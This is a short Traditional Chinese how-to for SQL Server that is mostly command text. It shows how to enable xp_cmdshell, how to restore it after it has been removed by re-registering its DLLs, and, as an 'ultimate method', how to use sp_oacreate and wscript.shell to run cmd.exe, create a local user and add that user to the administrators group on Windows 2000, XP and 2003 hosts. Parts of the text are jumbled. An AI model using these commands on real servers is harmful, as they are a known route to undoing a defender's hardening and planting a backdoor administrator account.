如果你是管理員,可以用以下語句啟用xp_首先用SQL Server Management Studio Express串連到資料庫伺服器,然後運行下面的SQL語句:sp_configure 'show advanced options',1reconfiguregosp_configure 'xp_cmdshell',1reconfigurego然後你就可以使用xp_cmdshell了。
1 代表 使用者ID 常見情況恢複執行xp_cmdshell.1 未能找到預存程序'master..xpcmdshell'.恢複方法:查詢分離器串連後,第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然後按F5鍵命令執行完畢2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模組。)恢複方法:查詢分離器串連後,第一步執行:sp_dropextendedproc "xp_cmdshell"第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然後按F5鍵命令執行完畢3 無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程式。)恢複方法:查詢分離器串連後,第一步執行:exec sp_dropextendedproc 'xp_cmdshell'第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 然後按F5鍵命令執行完畢四.終極方法.如果以上方法均不可恢複,請嘗試用下面的辦法直接添加帳戶:查詢分離器串連後,2000servser系統:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新使用者 密碼 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新使用者 /add'xp或2003server系統:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新使用者 密碼 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新使用者 /add'